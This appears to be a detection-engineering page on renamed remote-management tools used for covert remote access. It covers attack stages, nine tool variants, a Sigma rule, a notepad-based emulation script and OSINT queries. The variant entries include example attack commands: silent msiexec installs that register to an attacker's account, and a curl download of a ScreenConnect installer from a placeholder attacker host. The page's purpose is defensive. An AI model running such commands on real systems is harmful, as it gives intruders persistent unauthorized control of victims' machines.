Renamed RMM Tools
Legitimate remote management and monitoring (RMM) tools are renamed or masqueraded to appear as trusted applications (tax documents, invoices, IT support tools) and delivered via browser download. Once executed, the RMM establishes persistent command-and-control to attacker infrastructure while appearing to be a signed, legitimate binary. Because the binary is legitimately signed by the vendor, many security tools will not flag it. The chokepoint is the browser download, file masquerading, user execution, and outbound connection to RMM infrastructure. All of which are required regardless of which RMM tool is used.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Browser Download ▶
- User account can execute binaries from browser download paths (Downloads, Temp, AppData)
- RMM binary carries a valid vendor code-signing certificate; hash-based detection does not fire
- Sysmon Event ID 11 (File Creation)
- Browser download telemetry
2 User Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
3 Outbound RMM Connection ▶
- Sysmon Event ID 3 (Network Connection)
- Firewall / proxy egress logs
Variations 9 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
AnyDesk 2020 Declining ▶
# User downloads "Invoice_2024.exe" via browser
# PE metadata reveals: OriginalFilename = "AnyDesk.exe", Company = "AnyDesk Software GmbH"
# Execution establishes C2 to *.net.anydesk.com relay
# Attacker's AnyDesk ID connects to victim's session
- Sysmon EID 11: Executable written to Downloads/Temp by browser process
- Sysmon EID 1: Process where Image filename differs from OriginalFilename in PE header
- Sysmon EID 3: Outbound to *.net.anydesk.com on 443/6568
- Sysmon EID 13: AnyDesk registry keys created despite different filename
TeamViewer 2019 Active ▶
# User downloads "Meeting_Link.exe" or "Support_Tool.exe"
# PE metadata: OriginalFilename = "TeamViewer.exe", Company = "TeamViewer Germany GmbH"
# Establishes connection to *.teamviewer.com relay
- Sysmon EID 11: Executable downloaded by browser with non-TeamViewer name
- Sysmon EID 1: Process where filename differs from TeamViewer PE metadata
- Sysmon EID 3: Outbound to *.teamviewer.com
ScreenConnect (ConnectWise) 2022 Active ▶
# User downloads "SecurityUpdate.exe" or "TaxForm_2024.msi"
# MSI installs ScreenConnect client silently
# Connects to attacker-controlled instance:
# hxxps[://]attacker-instance[.]screenconnect[.]com
# or self-hosted: hxxps[://]attacker-server[.]com:8040
- Sysmon EID 11: MSI/EXE downloaded by browser with campaign-themed name
- Sysmon EID 1: ScreenConnect.ClientService.exe installed
- Sysmon EID 3: Outbound HTTPS to *.screenconnect.com or non-standard port
- Windows System EID 7045: ScreenConnect service installed
UltraViewer 2023 Active ▶
# User downloads "Document_Viewer.exe"
# PE metadata: OriginalFilename = "UltraViewer.exe"
# Connects to UltraViewer relay infrastructure
- Sysmon EID 11: Executable with non-UltraViewer filename
- Sysmon EID 1: Process with UltraViewer PE metadata from Downloads/Temp
- Sysmon EID 3: Outbound to UltraViewer relay
RustDesk 2023 Active ▶
# Open-source self-hosted RMM — no vendor relay to block
# Attacker runs their own RustDesk server
# Victim downloads renamed rustdesk.exe
# Config points to attacker relay: hxxps[://]attacker-relay[.]com:21116
- Sysmon EID 11: rustdesk.exe written with non-standard filename
- Sysmon EID 1: Process with RustDesk PE metadata from unexpected path
- Sysmon EID 3: Outbound to non-standard IP on port 21116/21117
SimpleHelp 2025-Q1 Active ▶
# Two attack paths:
# Path 1: Renamed binary (social engineering) — PE metadata mismatch
# Path 2: CVE exploitation (server-side):
# CVE-2024-57727 (path traversal) + CVE-2024-57726 (privesc) + CVE-2024-57728 (RCE)
- Path 1: Same as other renamed RMM (PE metadata mismatch)
- Path 2: SimpleHelp server logs showing exploitation
- Sysmon EID 3: Outbound from SimpleHelp client to attacker instance
NetSupport Manager 2019 Active ▶
# Drops NetSupport client files to AppData or ProgramData:
# client32.exe + client32.ini (attacker gateway config)
# client32.ini contains:
# [HTTP]
# Gateway=hxxps[://]attacker-gateway[.]com
- Sysmon EID 11: client32.exe + client32.ini written to AppData/ProgramData
- Sysmon EID 1: client32.exe running from non-standard path
- Sysmon EID 3: Outbound to attacker gateway (not official NetSupport infra)
Atera 2022 Active ▶
msiexec /i AteraSetup.msi /qn INTEGRATORLOGIN=attacker@email.com ACCOUNTID=<attacker_account>
# Silent install, agent registers to attacker's Atera account
- Sysmon EID 1: msiexec.exe with /qn flag installing Atera MSI
- Sysmon EID 11: AteraAgent.exe installed
- Sysmon EID 3: Outbound to *.atera.com
RMM-to-RMM Deployment 2024 Active ▶
# First RMM deploys second as backup persistence:
cmd /c curl -o C:\Temp\ScreenConnect.msi hxxps[://]attacker-instance[.]screenconnect[.]com/Bin/ConnectWiseControl.ClientSetup.msi
msiexec /i C:\Temp\ScreenConnect.msi /qn
- Sysmon EID 1: RMM process spawning cmd.exe → curl → msiexec
- Sysmon EID 11: Second RMM installer written to disk
- Sysmon EID 3: Two simultaneous outbound RMM connections to different relays
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Identify all RMM tool processes running in the environment
Research
High FP
▶
Process name matches known RMM binaries: anydesk.exe, screenconnect*.exe, teamviewer*.exe, ultraviewer.exe, rustdesk.exe, meshagent.exe, connectwisecontrol*.exe.
title: Known RMM Tool Process Execution
id: b8c2d4e6-f8a0-4b2c-9d3e-5f7a9b1c3d5e
status: experimental
description: >
Detects execution of known RMM tool processes. Baseline rule for mapping approved
vs. unapproved RMM usage across the environment.
references:
- https://attack.mitre.org/techniques/T1219/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.command_and_control
- attack.t1219
- detection.maturity.research
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\anydesk.exe'
- '\AnyDesk.exe'
- '\TeamViewer.exe'
- '\teamviewer.exe'
- '\ultraviewer.exe'
- '\UltraViewer.exe'
- '\rustdesk.exe'
- '\RustDesk.exe'
- '\meshagent.exe'
- '\MeshAgent.exe'
Image|contains:
- '\ScreenConnect.'
- '\connectwisecontrol'
- '\ConnectWiseControl'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection and not filter_legit_software
falsepositives:
- Legitimate IT helpdesk use of RMM tools
- Authorized remote support sessions
- Security testing environments
level: informational
Raw Log Samples 3 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 11 Sysmon Renamed RMM binary dropped to Downloads folder by browser process ▶
EID 1 Sysmon Renamed RMM binary executed. OriginalFilename mismatch is the Analyst signal ▶
EID 3 Sysmon Renamed AnyDesk binary connects to AnyDesk relay infrastructure ▶
Emulation
ATT&CK: T1219.002 Simulates renamed RMM binary drop, execution with metadata mismatch, and outbound connection powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1219.002 — Remote Access Tools
# Simulates browser-downloaded RMM binary renamed to a campaign-themed filename.
[CmdletBinding()]
param(
[string]$CampaignName = 'tax-document-2024',
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'
# Use a legitimate signed Windows binary as the "RMM" stand-in for safe emulation.
# In a real engagement, replace this with actual AnyDesk.exe for full fidelity.
$RmmSourceBinary = Join-Path $env:WINDIR 'System32\notepad.exe'
$DownloadsPath = Join-Path $env:USERPROFILE 'Downloads'
$RenamedBinary = Join-Path $DownloadsPath "$CampaignName.exe"
$RmmPort = 443 # AnyDesk relay uses 443/80/6568; use 443 for lab (less likely blocked)
$RmmHost = 'relay.anydesk.com'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $RenamedBinary) {
Remove-Item $RenamedBinary -Force -ErrorAction SilentlyContinue
Write-Ok "Removed: $RenamedBinary"
}
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== Renamed RMM Tool Emulation ===" -ForegroundColor Magenta
Write-Host " T1219.002 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Step "Step 1/3 — Dropping renamed binary to Downloads (browser-download simulation)"
Write-Verbose " Source binary: $RmmSourceBinary"
Write-Verbose " Renamed to: $RenamedBinary"
# Ensure Downloads directory exists
if (-not (Test-Path $DownloadsPath)) {
New-Item -ItemType Directory -Path $DownloadsPath -Force | Out-Null
}
Copy-Item -Path $RmmSourceBinary -Destination $RenamedBinary -Force
Write-Ok "Binary copied to: $RenamedBinary"
Write-Ok "File name: $CampaignName.exe (social engineering name)"
# Report OriginalFilename vs current name mismatch (the key detection signal)
try {
$versionInfo = [System.Diagnostics.FileVersionInfo]::GetVersionInfo($RenamedBinary)
Write-Host ""
Write-Host " File metadata (key detection signal):" -ForegroundColor White
Write-Host " CurrentName: $CampaignName.exe" -ForegroundColor DarkGray
Write-Host " OriginalFilename: $($versionInfo.OriginalFilename)" -ForegroundColor DarkGray
Write-Host " ProductName: $($versionInfo.ProductName)" -ForegroundColor DarkGray
Write-Host " FileDescription: $($versionInfo.FileDescription)" -ForegroundColor DarkGray
if ($versionInfo.OriginalFilename -and $versionInfo.OriginalFilename -ne "$CampaignName.exe") {
Write-Ok "MISMATCH CONFIRMED: OriginalFilename != current name — Analyst rule will fire"
}
} catch {
Write-Warn "Could not read version info: $_"
}
Start-Sleep -Milliseconds 500
Write-Step "Step 2/3 — Executing renamed binary (brief run to generate process telemetry)"
Write-Verbose " Note: In real scenario, OriginalFilename=AnyDesk.exe vs. CurrentName=$CampaignName.exe"
try {
# Start notepad briefly then kill it — generates EID 1 with the renamed image path
$proc = Start-Process -FilePath $RenamedBinary -PassThru -ErrorAction Stop
Start-Sleep -Milliseconds 800
if (-not $proc.HasExited) {
$proc.Kill()
$proc.WaitForExit(2000) | Out-Null
}
Write-Ok "Renamed binary executed (PID $($proc.Id)) and terminated — Sysmon EID 1 generated"
} catch {
Write-Warn "Binary execution failed: $_"
}
Start-Sleep -Milliseconds 300
Write-Step "Step 3/3 — Outbound connection to RMM relay port (network telemetry)"
Write-Verbose " Target: $RmmHost`:$RmmPort"
Write-Warn "Note: real AnyDesk connects to relay.anydesk.com:443/80/6568; using TCP connect test only"
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$async = $tcp.BeginConnect($RmmHost, $RmmPort, $null, $null)
$connected = $async.AsyncWaitHandle.WaitOne(5000, $false)
if ($connected) {
$tcp.EndConnect($async)
Write-Ok "TCP connection to $RmmHost`:$RmmPort succeeded — Sysmon EID 3 generated"
} else {
Write-Warn "TCP connect timed out (connection attempt still generated EID 3)"
}
$tcp.Close()
} catch {
Write-Warn "Network connection failed (telemetry may still have fired): $_"
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 1 — process name matches known RMM tool OR OriginalFilename" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 11 (file in Downloads) + EID 1 (execution within 5 min)" -ForegroundColor DarkYellow
Write-Host " [Analyst] Campaign filename + OriginalFilename mismatch + EID 3 to RMM infra" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "Higher fidelity: replace source binary with actual AnyDesk.exe for real metadata" -ForegroundColor DarkGray
Write-Host " OriginalFilename=AnyDesk.exe vs. CurrentName=$CampaignName.exe is the key signal" -ForegroundColor DarkGray
Write-Host ""
OSINT Pivots
filename:MicrosoftTeams.msi OR filename:chrome_update.exe OR filename:security_scan.exe OR filename:verify.exe OR filename:support.exe
product:"ScreenConnect"
services.tls.certificate.parsed.subject.common_name: "SimpleHelp"
have:itw tag:peexe (metadata:"AnyDesk" OR metadata:"ScreenConnect" OR metadata:"SimpleHelp" OR metadata:"NetSupport")